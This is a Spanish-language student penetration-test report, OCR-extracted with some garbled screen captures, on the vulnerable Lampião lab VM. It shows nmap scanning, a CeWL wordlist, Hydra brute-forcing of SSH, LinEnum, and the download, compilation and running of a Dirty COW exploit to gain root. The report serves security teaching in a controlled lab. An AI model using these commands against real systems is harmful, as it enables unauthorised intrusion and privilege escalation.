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Introduccion

El presente informe documenta de manera detallada el proceso de identificacion, analisis
y explotacion de vulnerabilidades sobre una maquina virtual deliberadamente vulnerable
(Metasploitable/Lampido) dentro de un entorno de laboratorio controlado. El ejercicio se
desarrolld sobre una topologia de red montada en VirtualBox con adaptadores en modo NAT,
cumpliendo las condiciones y pautas establecidas por el docente para la practica académica.
Todas las acciones descritas en este informe se realizaron con fines estrictamente educativos y
bajo los principios éticos del pentesting autorizado: no se llevaron a cabo ataques contra sistemas

ni redes ajenos fuera del entorno provisto para la practica.

La finalidad técnica del trabajo fue aplicar y consolidar conceptos clave de la
ciberseguridad ofensiva: reconocimiento activo de la red y servicios, enumeracion de versiones,
busqueda y validacion de exploits conocidos, generacion de wordlists especificas y ejecucion de
payloads para obtener acceso remoto y escalada de privilegios. Para ello se emplearon
herramientas estandar del ecosistema de pruebas de intrusion —entre ellas Nmap para el
reconocimiento y fingerprinting, Metasploit Framework para la enumeracion y explotacion, y
utilidades como CeWL y Hydra para generacion de diccionarios y ataques de fuerza bruta—,
ademas de utilidades del sistema (scp, g++, mysql, editor de texto) durante la fase de post-

explotacion y verificacion.

Concluimos diciendo que este informe no solo registra las acciones realizadas y los
resultados obtenidos, sino que también extrae lecciones y recomendaciones de mitigacion
actualizacion de software, endurecimiento de servicios, uso de mecanismos de autenticacion
robustos y monitoreo de logs con el objetivo de transformar la evidencia practica en medidas

concretas para mejorar la seguridad.



Alcance
Durante este tiempo se realizo la configuracion de las méaquinas virtuales, se ejecutaron
las pruebas correspondientes, se recopilaron evidencias (capturas de pantalla, salidas de
comandos, configuraciones relevantes) y se sistematizo la informacion en el presente informe,
con el fin de dejar constancia del procedimiento y servir como insumo de estudio para

evaluaciones futuras.
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1. Objetivos
1.1.General
Documentar el proceso completo de reconocimiento, explotacion y post-explotacion sobre la
maquina objetivo (Lampido), aplicando técnicas de escaneo, enumeracion, obtencion de
credenciales, explotacion local y manipulacion de la aplicacion web, para aprender las

vulnerabilidades, su explotacion controlada y las medidas de mitigacién recomendadas.

1.2.Especificos

e Configurar correctamente el entorno de red entre las maquinas virtuales (atacante
y victima) dentro de VirtualBox, asegurando la conectividad a través de una red
NAT denominada “SEMESTRE9-2025-1".
Realizar el reconocimiento de la red y de la maquina objetivo mediante escaneos
(nmap) para identificar hosts, puertos y versiones de servicios.

e Enumerar usuarios y servicios (SSH, MySQL, HTTP, SMB, etc.) usando
herramientas como Metasploit y utilidades de enumeracion.

e Generar wordlists especificas del objetivo (cewl) y emplearlas en ataques de
fuerza bruta controlados (hydra) para obtener credenciales validas.

e [Establecer acceso inicial mediante SSH y transferir los ficheros necesarios (scp),
preparar y compilar exploits locales (g++).

e Elaborar un informe que incluya metodologia, comandos usados, resultados,
evidencias (capturas) y recomendaciones de mitigacion para cada vulnerabilidad

explotada.
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2. Planteamiento Del Problema

En un entorno cada vez mas digitalizado e interconectado, las organizaciones,
instituciones educativas y usuarios particulares dependen en gran medida de sistemas
informaticos que ofrecen multiples servicios en red. Esta creciente dependencia ha traido consigo
una expansion de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde
un atacante podria comprometer la seguridad de un sistema. A pesar de los avances tecnologicos
en software y hardware, muchos servicios siguen presentando fallas de configuracion, versiones
obsoletas o vulnerabilidades conocidas que pueden ser explotadas facilmente si no se identifican

y mitigan a tiempo.

En el ambito educativo, uno de los principales desafios consiste en brindar a los
estudiantes oportunidades para aplicar de forma practica los conocimientos adquiridos en el aula
sobre seguridad informatica, analisis de vulnerabilidades y técnicas de explotacion. Sin embargo,
realizar practicas de hacking ético directamente sobre sistemas reales implica riesgos éticos,
legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas

habilidades.

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la
forma adecuada de aplicar las herramientas de analisis y explotacion, ni los pasos metodoldgicos
necesarios para llevar a cabo una prueba de penetracion completa y estructurada. El
desconocimiento sobre como descubrir servicios vulnerables, identificar exploits adecuados o
gjecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de

aprendizaje y limitar la comprension de los conceptos clave de ciberseguridad ofensiva.
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Este informe surge como respuesta a la necesidad de documentar de forma clara 'y
practica como realizar una prueba de penetracion ética sobre una maquina vulnerable, replicando
un escenario realista en un entorno académico controlado. En este caso, se hace uso de
herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red,

directorios privados entre otras herramientas que explicaremos a continuacion.



3. Capitulo 1: Importacion y Configuracion de la Maquina Virtual Lampiao en

VirtualBox.

3.1. Importacion de la maquina virtual lampiao

13

Para comenzar a realizar nuestro laboratorio de practica, lo primero que hicimos importa

la maquina por medio de su ovf esto lo hicimos de la siguiente forma.

slanitualBox Administrador

Tr—

dquina  Ayuda

O @ D .

Nueva Afadir  Configuracién Descartar  Iniciar

FEIRY Parrot 05 6.4 MATE Security Edition = General

b Guardada [®] Sistema

. NMemoria base: 4203 MB
g.! W-SERVER-2025 Orden de arranque: Disquete, Optica, Disco duro
2012 Guardada Aceleracion: Paginacion anidada, Paravirtualizac

=] Pantalla
%’ metap M de vid 128 MB
@ emoria de video:

tdl © Apagada Controlador grafica: VMSVGA

) Servidor de escritorio remoto:  Inhabilitado
ksdf | WINDOWS XP Grabacién: Inhabilitado

"ﬁ Guardada

g’. win 2003
gE @ ppagada

Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0: [Unidad dptical Vacio
Controlador: SATA

Figura 1. Abrimos VirtualBox

Abrimos virtual box y nos vamos al apartado de archivos, luego de estar aqui le damos al

apartado de importar

Luego seleccionamos la hizo seleccionar el ovf para poder tener nuestra maquina.

V5 Oracle VirtualBox Administrador
Archivo  Maquina  Ayuda

0?’ Preferencias... Contral+G
U Importar servicio virt! Control+|
(A} Exportar servicio virtualizado... Control+E
8= Herramientas 4
& comprobar actualizaciones...

A\ Reiniciar todas las advertencias

@ salir Control+Q

T APy au

Figura 2. Importamos la maquina
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U5 Importar servicio virtualizado = O >
=~ Fuente

Fuente: Sisterna de archivos local w

Archivo: @

> Configuracién

Figura 3. Se selecciona el ovf

Aqui le damos clic al apartado de archivos y vamos a la ruta en donde tenemos nuestro

ovf, esto es necesario porque de aqui es donde estaremos importando la maquina.

2 ym =
P 5=
Guardada L

Figura 4. Maquina importada

Después de espera el proceso de cargue importacion de nuestra maquina no saldra algo
como lo visto en la figura anterior, aqui lo que haremos es configurar de una el adaptador de red

para poder tener comunicacion con nuestras otras maquinas.

3.2. Configuracion de la maquina Lampiao
Para el proceso de configuracion lo que se hizo fue configurar nuestro adaptador de red,
esto se hace con el objetivo de permitir que nuestra maquina tenga comunicacion con las otras
maquinas que estén conectada a esta misma red Nat, para este caso la red Nat tendra el nombre

de semestre 9 2025 1 y la configuraremos de la siguiente manera:
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3.2.1 Ingresamos a la configuracion
Ingresamos a la configuracion de nuestra maquina Lampiao y nos posicionamos en e

apartado de red tal cual como lo mostramos en esta figura.

&3 vm - Settings

M General
Sistema
W Pantalla

@ Almacenamiento

Qo audio

H Red

£S5 Puertos serie

£ use

[] carpetas compartidas

EI Interfaz de usuario

Figura 5. Ingresamos al apartado de red

3.2.2 Configuramos el adaptador Nat
Luego de posicionarnos aqui lo que haremos es cambiar el apartado conectado a del
adaptador por defecto a Red NAT y esto nos mostrara la red nat creada en un laboratorio anterior

cuyo nombre mencione anteriormente.

= (m] X
Search settings £

Red

Adaptador 1 Adaptador 2 = Adaptador 3 = Adaptador 4

Conectado a: Red NAT ~

Nombre:  semestre-3-2025-1 ~

@ Cable conectado

Figura 6. Configuracion de la red Nat
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3.3. Configuramos el apartado de portapapeles y copiar y pegar
Aqui basicamente lo que hice fue permitir que desde mi pc fisico pueda pasar
informacion a mi maquina virtual y copiar y pegar por eso lo puse como bidireccional en ambos

Casos.

{2) vm - Settings — O

sasic ,J"IgH=II"' Search settings

. Basico  Avanzado Descripcian Cifrado de disco
Sistema P
Carpeta ae nstantineas CA Users\ LOCOMPLL VirtualBox Vivis\vim Sna
IE Pantalla
_ Partapapeles compartido: Bidireccional ~

Almacenamiento
' @D Audio
ﬂ Red

Arrastrar y soltar: Bidireccional ~

Figura 7. Configuracion avanzada

3.4. Ejecutamos la maquina Lampiao
Lo ultimo que hacemos para este caso es ejecutar nuestra maquina Lampio para ver que

las configuraciones hechas funcionaron correctamente.

Pa

buntu 14.04.5 LTS lampiao ttyl

lanpiao login:

Figura 8. Ejecucion de la maquina



4. Capitulo 2: Inicio de Vulneracion de la maquina Lampio

4.1.Escaneamos la red del Nat
Lo primero que hicimos fue escanear la red para saber cul es la direccion ip de nuestra

maquina Lampio, esto lo hicimos con el comando nmap -sV 192.1.1.0/24

05
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 23:44 -05
Nmap scan report for 192.1.1.1

Host is up (0.0011s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE VERSION

53/tcp filtered domain

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.1.1.2

Host is up (0.0023s latency).

Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?

MAC Address: 52:54:00:12 ® (QEMU virtual NIC)
Service Info: 0S: Wind CPE: o:microsoft:

Nmap scan report for 192.1.1.3

Host is up (0.00020s latency).

All 1000 scanned ports on 192.1.1.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:72:A4:CE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.1.1.17

Host is up (0.00030s latency).

Not shown: 8 closed tcp por (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?

1 service unrecognized despite returning data. If you know the service/version, please s
vice :

SF-Port80-TCP:V=7.95%I=7%D=9/23%Time=68D3772B%P=x86_64-pc-linux-gnu%r(NULL

Nmap scan report for 192.1.1.17

Host is up (0.00030s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6. Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?

1 service unrecognized despite returning data. If you know the service/version, please
vice

SF-Port80-TCP:V=7.95%I=7%D=9/2 3%Time:680377ZB%P:x86_64Apc41inux~gnu%l‘(NULL

SF:

:x20\x20\x20\x2

:\x20\x20\x20\

\\70\\7O\x20\
:20\x20\x20\x20\x20\x20\ 20\x20\x20\x20\x20\x20\ O\xZO\xZO\\ZO\xZO\
x20\n\x20\x20\ |\ \Ax20\ 1\x20\ | _\I/\x20__ \x20\x20\x20\x20___ \x20\x20
_\x20_\x20__ \x20_\x20\x20\x20_\x20\ \(2O\xZO\xZO\x?_O\xzo\xZO\x70\x“

20\x20\x20\x

s1\x20\ 1 _\1\x20\|_\x _\x20\\\x20\ |\x20\x20__/\x20\(_\|\x20\\_\x

:20\\\x20\| A\x20\ ] _\ x20\x20\x20) 20\x20\x20\x20\x20\x20\x2

:0\x20\x20\x20\x20\x20\x20\x20\x2 \x20\\___/\x20\\_\|

A\x20\|___ /\x20\x20\\_\I\\__,_° e 20\(\x70\)\x70 20\x20\x20\
\x20\x20\x20\x 20\> x20\x20\x2 0\x20\x20\x20\>
0\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\

: 0\x20\x20\x20\ \x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20

:\x70\x70_/\x20\\/\x70\ 20\x20\x20\x20 20\x20\x20\x20\x20\x20\x20\
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Figura 9. Escaneamos la red

Aqui identificamos nuestra maquina Lampiao, después procedemos a hacer un escaner a
los primeros 2000 puertos tcp de la ip de nuestra maquina victima. Con el comando nmap -p 1-

2000 192.1.1.17 de la siguiente forma.

1-2000 192.1.1.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 23:58 -05
Nmap scan report for 192.1.1.17
Host is up (0.00032s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
MAC Address: 08:00:27:8D:CA:01 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Figura 10. Escaneo al ip de lampiao

4.2. Ingresamos al home del puerto 80 a través de la ip
Después de este escaneo procedimos a ingresar a la ip de nuestra servicio http que hay en
el puerto 80, para esto fuimos a nuestro navegador e ingresamos la ip de la maquina Lampiao de

la siguiente forma.

B 192127
<« C @
OffSec  Kalilinux # KaliTools # Kali Docs ¥ Kali Forums e Kali NetHunter = Exploit-DB

#
8

Figura 11. Ingreamos al home



Al ingresar al home nos sali6 la imagen que pueden ver a continuacion por lo que

procedimos a ingresar el puerto tcp 1898 que nos encontramos en el escéner.

smBP OB 23 4 [0

%« Lampiao

C @ QO A 1921147

OffSec Kali Linux # KaliTools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hackin{

Home
User login ix s e =~
g Lampiao, heroi ou vildo do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
Password *

* Create new account

* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das f

vida sendo temido e idolatrado pelas pessoas que aterrorizava e

Figura 12. Home de Lampiao

19

Luego de estar aqui intente registrar un usuario para ver si podia ingresar a la plataforma

pero como veran, no fue posible hacer esto.

User account

Create new account Log in Request new password

Username *

Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.

E-mail address *

victer@gmail.com

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will o

receive certain news or notifications bv e-mail.

Figura 13. Registro del usuario



@ « Unable to send e-mail. Contact the site administrator if the problem persists.
« Unable to send e-mail. Contact the site administrator if the problem persists.

Q Thank you for applying for an account. Your account is currently pending approval by the site administrator.
In the meantime, a welcome message with further instructions has been sent to your e-mail address.

User login i s o =
£ Lampido, hero6i ou vilao do Sertao?
Username * Submitte tiago on Thu, 04/19, 1
Password * U!sg-‘i L]
* Create new account
* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteri

virda condn tamidn e idnlatradn nelac naccnac ane atorrarizava o amnarava Coanhe

Figura 14. Denegacion del registro

4.3.Utilizamos y eh intentamos crear un Directorios
Después de la denegacion del registro procedimos a intentar conseguir un usuario y

contrasefia dentro que nos permitieran ingresar y loguearnos.

. root@kali: ~

Archivo Acciones Editar Vista Ayuda

22 .192.1.1.17 -A (
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 09:18 -05
Nmap scan report for 192.1.1.17
Host is up (0.00089s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

160:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:
2:2d:d0:b2:54:0b:9c:ad:61:33:59:5 3 (RSA)
:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
_ 256 €6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
MAC Address: 08:00:27:8D:CA:01 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3 - 4.14

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.89 ms 192.1.1.17

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.36 seconds

Figura 15. Se obtiene mas informacion atras ves de nmap-A -sC



21

Utilice el comando nmap -p 22 192.1.1.17 -A -sC para obtener informacion detallada del
servicio SSH identificado anteriormente ya que lo que queria hacer era intentar sacar un usuario

que me permitiera ingresar a la red.

usuarios posibles
lampiao
heroi

vilao
sertao
assassino
brasil
luizGonzaga
Falou
virgulino
Ferreira

da silva

Figura 16. Posible usuarios

Lo que hicimos fue intentar crear nuestro propio diccionario haciendo un analisis de las
paginas presentes en el home, pero como esto era muy tedioso procedimos a hacerlo mediante

comando.

4.3.1 Creacion de nuestro diccionario
Como queriamos crear nuestro diccionario utilizamos el comando cewl
http://192.1.1.17:1898/ --Write Diclampiao.txt para crear un diccionario con el nombre

Diclampiao y con la extencion . txt
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/home/kali
http://192.1.1.17:1898/ ite Diclampiao.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
/usr/bin/cewl: unrecognized option "-—-Write'
Usage: cewl [OPTIONS] ... <url>

OPTIONS:
-h, —help: Show help.
-k, —keep: Keep the downloaded file.
-d <x>,-—depth <x>: Depth to spider to, default 2.
-m, —min_word_length: Minimum word length, default 3.
—max_word_length: Maximum word length, default unset.
ite: Let the spider visit other sites.
: A file containing a list of paths to exclude
-allowed: A regex pattern that path must match to be followed
ite: Write the output to the file.
ua <agent>: User agent to send.
—no-words: Don't output the wordlist.
-g <x>, -—groups <x>: Return groups of words as well
—1lowercase: Lowercase all parsed words
—with-numbers: Accept words with numbers in as well as just letters
onvert-umlauts: Convert common IS0-8859-1 (Latin-1) umlauts (a-ae, 6-oe, u-ue, R-ss)
—meta: include meta data.
neta_file file: Output file for meta data.
—email: Include email addresses.
email_file <file>: Output file for email addresses.
—meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
-c, count: Show the count for each word found.
—verbose: Verbose.
—debug: Extra debug information.

Authentication
—auth_type: Digest or basic.

Figura 17. Informacion o luego de crear el diccionario de palabra

El comando cewl http://192.1.1.17:1898/ --write Diclampiao.text rastrea la pagina
indicada, extrae palabras relevantes (titulos, texto y enlaces) y genera una lista de palabras
(diccionario ), guardandola en el archivo Diclampiao.text para usar en ataques de diccionario

posteriores o pruebas internas controladas.

/home/kali
Diclampiao. txt

/home/kali
Diclampiao.txt
ampiao.txt

/home/kali
t Diclampiao.txt
Lampido

Figura 18. Visualizacion de nuestro directorio diclampiao

A continuacion, lo que se hizo fue listas el contenido lor archivo con e comando s, se

listo el directorio para confirmar la presencia del archivo y se mostr6 su contenido con el
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comando cat Diclampiao.txt. En la salida aparecen las palabras extraidas (por ejemplo:
Lampido, que, main, field, menu, etc.), que ahora pueden limpiarse y utilizarse como diccionario
para ataques de fuerza bruta o pruebas controladas. Para mejorar la lista puede aplicarse sort -u

para eliminar duplicados antes de usarla.

4.4.Utilizamos directorio Hydra para nuestro ataque de fuerza bruta

Archivo Acciones Editar Vista Ayuda Captura de pantalla tomad

@ okFo ORUGE cr0e

EP o o4 aa 10063

2D s -rc B A, e Tm M R A A O DA m e @R

Figura 19. Directorio Hydra

Para poder hacer nuestro ataque de fuerza bruta el profe nos recomend6 usar Hydra, esta
es una herramienta de fuerza bruta para probar inicios de sesion contra servicios de red. Es muy
usada por pentesters para comprobar la robustez de contrasefias en servicios como SSH, FTP,
HTTP (formularios), SMB, MySQL, Postgres, RDP, entre muchos otros. Su objetivo es

automatizar intentos masivos de usuario/contrasena usando diccionarios.

g L <] nded to reduce the tasks: use -t &
[DATA] max 16 € o | L1 16 ta log (1:1, tries per task
[DATA] attacking ss 2

Figura 20. Ataque de fuerza bruta
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tiago -P Diclampiao.txt ssh

Figura 21. Ataque de fuerza bruta con Hydra contra SSH

Lo que hicimos fue lanzar un ataque de fuerza bruta con Hydra contra SSH usando la
diccionario Diclampiao.txt, tras varios intentos encontramos credenciales validas: usuario tiago
y contrasefia Virgulino. El ataque termin6 mostrando "1 valid password found", con algunos

subprocesos fallidos, pero el acceso se consigui6 al final conseguimos ingresar.

v kali@kali: ~

Archivo Acciones Editar Vista Ayuda

Hydra (http E at

[WARNIN Many figurati it the f allel ta recommended to reduce the tasks: use -t 4
[DATA] ma

[DATA] attac -

[VERB i resse A ERBOSE] resolving done

[INFO] Testin f | a e tion is supported b

[INFO] ccessfu jord a e ion is supported b

[ATTEMPT] tar .1.17 gi 0" "DicLampiao. hild @] (e/@)

[STATUS] atta ished f 1) iting for chi )
1 of 1 t completed, i word found
ithub.com/v

Figura 22. Comando con pardametros verbosos -v -V

Ejecuté el comando con pardmetros verbosos -v -V y le indiqué un usuario fijo -l tiagoy
el diccionario Diclampiao.txt como fuente de contrasefias -p Diclampiao.txt , de forma que
Hydra probara todas las entradas del fichero contra ese usuario. El comando comprobd que la

autenticacion por contrasefia estaba habilitada y luego intent6 el login, en esta ejecucion concreta
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el resultado fue que no se encontrd contrasena valida. Luego de esto y ya teniendo usuario y

contrasefia intentamos ingresas via ssh.

4.4.1 Tenemos un acceso exitoso por medio de SSH
Para ingresas atras vez de ssh lo que hicimos fue ingresar con el comando ssh

tiago@192.1.1.17 y la contrasefia Virgulino

Archivo Acciones Editar Vista

> (GNU/Linux &4.4. generic 168

* Documentation: https://help.ubuntu.com/
System information disabled due to load higher than 1.0

New release '16.04.7 LTS' available.
ase-upgrade’ to upgrade to it.

Figura 23. Acceso exitoso por medio de SSH

Se consiguid un acceso inicial al sistema a través del servicio SSH puerto 22 empleando
el usuario tiago hallado en la fase de reconocimiento. La conexion fue establecida y autenticada

lo que de forma remota nos dio acceso a sistema Lampiao.
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5. Capitulo 3: Descarga de la Herramienta para escalar privilegios y creacion de los
usuarios en Lampiao
Para poder crear los usuarios necesitamos escalar los privilegios asi que lo primero que hicimos
fue descargar una herramienta de github recomendada por el docente S Morales, esta

herramienta fue LinEnum.

Segtin el portal web (wiki.zachelle, 2021) LinEnum es un script bash simple que ejecuta
comandos comunes relacionados con la escalada de privilegios, ahorrando tiempo y
permitiendo dedicar mas esfuerzo a obtener root. Es importante comprender qué
comandos ejecuta LinEnum, para poder enumerar manualmente las vulnerabilidades de
privesc en una situacion en la que no puede usar LinEnum u otros scripts similares. En
esta sala, explicaremos qué muestra LinEnum y qué comandos se pueden usar para

replicarlo.

5.1. Descarga del directorio

o4 A nos | @

Captura de pantalla tomad

B neo  BE0lS6 cr e

8z i e om N v A D DA E e o= " m B g 10am

Figura 24. GitHub del directorio LinEnum



27

Para descargar esta herramienta lo que hicimos fue ingresar al navegador de Kali y buscar

el directorio LinEnum en lo que nos llevo al siguiente enlace

https://github.com/rebootuser/LinEnum?tab=readme-ov-file#

Archivo Acciones Editar Vista Ayuda
/home/kali

~

clone https://github.com/rebootuser/LinEnum.git
Clonando en ‘LinEnum’ ...
remote: Enumerating objects: 234, done.

remote: Counting objects: 100% (96/96), done.

remote: Compressing objects: 100% (18/18), done.

remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
Recibiendo objetos: 100% (234/234), 113.83 KiB | 529.00 KiB/s, listo.
Resolviendo deltas: 100% (130/130), listo.

Figura 25. Descargamos el directorio

Para descargar el directorio luego ingresamos a nuestra consola y copiamos el comando

git clone https://github.com/rebootuser/LinEnum.git ya con esto se empez6 a descargar el

directorio.

LinEnum

~/LinEnum

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

~/LinEnum
LinEnum.sh

~/LinEnum

Figura 26. Ingresarmos al directorio LinEnum


https://github.com/rebootuser/LinEnum?tab=readme-ov-file

Aqui lo que hicimos fue ingresar al directorio LinEnum, luego listar los elementos de
nuestra herramienta para escalar privilegios, después de listar los archivos presentes aqui

ingresamos al script LineEnum.sh con el comando nano LineEnum.sh.

L
GNU nano 8.4 LinEnum. sh

G Buscar
M Reempl,

Figura 27. Mostramos el nano LineEnum.sh.

Dentro de este archivo en realidad no hicimos casi nada, en este caso lo muestro con

fines meramente visuales.

Archivo Acciones Editar Vista Ayuda

ome to Ubuntu 14 5 LTS (GNU/Lir
* Documentation: htt //help.ubuntu.com/

stem information disabled due to

Figura 28. Nos conectarnos al ssh, para buscar informacion y archivos ocultos

28
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Luego volvimos a conectarnos al ssh, aqui hicimos 4 cosas: la primera cosa que hicimos

fue ingresar al archivo home con el comando ¢d /home; Luego de eso, lo 2 que se hizo fue

listar los archivo donde revisamos que hay una carpeta tiago. Lo 3 que se hizo fue ingresar a esta

carpeta con el comando cd tiago; por ultimo, con el comando Is -la dentro del home/tiago lo

utilizamos para buscar archivos ocultos dentro de esta carpeta.

tiago tiago 4096

root root

4096

tiago tiago 4096
tiago tiago 25
tiago tiago 220
tiago tiago 3637
tiago tiago 4096
tiago tiago 675

] 1 root root
tiago@lampiao:~$
tiago@lampiao:~$
tiago@lampiao:~$ cd.
cd..: command not found
tiago@lampiao:~$ cd ..

577

tiago@lampiao:/home$ cd ..

tiago@lampiao:/$ 1s

tiagod@lampiao:/$
tiagod@lampiao:/$
tiago@lampiao:/$ [l

.bash_history
.bash_logout
.bashrc

.profile
.viminfo

Figura 29. Salirnos hasta el directorio raiz con el comando cd ..

Luego de ello lo que busca los archivos ocultos en la carpeta, lo que hicimos después fue

salirnos hasta el directorio raiz con el comando ¢d ..; Luego de lo que listamos los archivos

presentes aqui.

adduser.conf

crontab

rt.blacklist

environment

inputrc

ucf.conf
insserv.conf

updatedb.conf

issue

issue.net

kernel-img.conf order rc.local

wgetrc
che
.conf popularity-contest.conf
module:
mtab profile rs .conf sysctl.conf zsh_command_not_found

nanorc protocols

netv s timezone

Figura 30. Ingresar a la carpeta o directorio etc, con el comando cd /etc
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Lo siguiente que se hizo fue ingresar a la carpeta o directorio etc., con el comando cd /etc

y con el comando Is listamos su contenido.

gogLamplao:/e

agoglampiao:

agoglampiao:/etc$ |

Figura 31. Ingresamos al archivo passwd

Por ultimo, ingresamos al archivo passwd con el comando nano /etc/passwd , aqui como

tal no hicimos nada solo queriamos ver si habia algo que nos sirviera.

Archivo Acciones Editar Vista Ayuda
GNU nano 2.2.6 File: /etc/passwd

g ats:/usr/sbin/nologin
nobody

libuuid:

sysl

my'

Archivo Acciones Editar Vista Ayuda

https i.exploit-db.com/downloa 7 fotos.cp

p

fotos.cpp =1 € — .-KB/s en @,05s

fotos.cpp
Diclampiao.txt

Figura 33. Descargamos un exploit desde Exploit-DB

Después, utilizando el comando wget https://www.exploit-db.com/download/40847 -O

fotos.cpp descargamos un exploit desde Exploit-DB (guardado como fotos.cpp) y con el
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comando s, se verifico que el archivo estuviera en el directorio tal como se puede ver en nuestra

imagen.

e

fotos.cpp tiago@192.1.1.17:/home/tiago/

tiagoml192.1.1.17"'s password:
fotos.cpp

Figura 34. Copiamos el archivo fotos.cpp hacia la victima

Aqui lo que hicimos fue utilizar el comando scp fotos.cpp
tiago@192.1.1.17:/home/tiago/ para copiar el archivo fotos.cpp desde la maquina atacante hacia
el directorio /home/tiago/ en la méquina victima. Al ejecutarlo se solicitd la contrasefia de tiago
y, tras autenticar, scp transfirio el fichero (se muestra el progreso, el tamafio y la velocidad).
scp usa la misma conexion segura que SSH, por eso la transferencia queda cifrada. Como
verificacion rapida se puede comprobar en la victima con ssh tiago@192.1.1.17 'ls -1

/home/tiago/fotos.cpp'.

System load 0.0 Processes: 164

Usage of /: 7.5% of 19.07GB  Users logged in: 1

Memory usage: % IP address for eth@: 192.1.1.17
Swap usage:

Graph t data and manage this sys
https andscape.canonical.com/

New release '16.04.7 LTS' available.
Run ‘do-release-upgrade' to upgrade to it

Last login: Sat Sep 27 12:07:13 2025 from 192.1.1.13
tiago@lampiao -la foto.cpp
1s: cannot ac foto.cpp: No such file or directory
tiago@lampiao:~$ pwd
/home/tiago
tiago@lampiao:~$ 1s -la ~
total 48
drwx -X tiago tiago 4096 Sep
drwxr-xr-x root root 4096 Apr
drwx tiago tiago 4096 Apr
tiago tiago 25 Apr 2 bash_history
tiago tiago 220 Apr bash_logout
tiago tiago 3637 Apr 2018 .bashrc
2 tiago tiago 4096 Apr
tiago tiago 10531 Sep 12:37 fotos.cpp
tiago tiago 675 Apr 2018 .profile
root root 577 Apr 2018 .viminfo

Figura 35. Volvemos al ssh
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Lo siguiente que hicimos fue iniciar sesion por SSH con ssh tiago@192.1.1.17 para

trabajar directamente en la maquina victima y obtener un prompt remoto.

Luego lo que hicimos fue ejecutar Is -la en el home de tiago para listar todos los archivos

con detalles; la salida muestra permisos, propietario, tamafio y fecha.

lo siguiente que se aprecia es que antes hubo un Is -la foto.cpp que fall6 por el nombre sin la “s”

b

y luego al listar correctamente se ve fotos.cpp presente en /home/tiago/ con tamanio 10531 bytes

y esto confirma que la copia con scp se realizd correctamente.

tiagoalampiao:
tiago@lampiao:

fotos.cpp

~$
~$ 1s

tiago@lampiao:

tiagoalampiao:

tiagomlampiao
-Tw-rw-r— 1

tiagoalampiao:
tiago@lampiao:-
tiagoalampiao:

cpp -lutil

tiago@lampiao:
tiago@lampiao:

-bash: ./: Is

tiagoalampiao:

Running
Password over

Received su p

root@lampiao:
root@lampiao:
root@lampiao:
root@lampiao:
root@lampiao:

:~$ 1s -la fotos.cpp
tiago tiago 10531 Sep 27 12:37 fotos.cpp

$

$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.

~$ chmod +x documentos
~$ ./ documentos -s

a directory

~$ ./documentos -s

ridden to: dirtyCowFun

rompt (Password: )

~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
~# cp /tmp/.ssh_bak /etc/passwd

~# rm /tmp/.ssh_bak

~3

~f l

Figura 36. Compilamos el codigo fuente

Procedimos a compilar el codigo fuente. Para ello se ejecutd g++ -Wall -pedantic -O2 -

std=c++11 -pthread -0 documentos fotos.cpp -lutil, con lo que se gener¢ el ejecutable llamado
documentos. Luego usamos el comando chmod +x documentos y el comando ./documentos -s
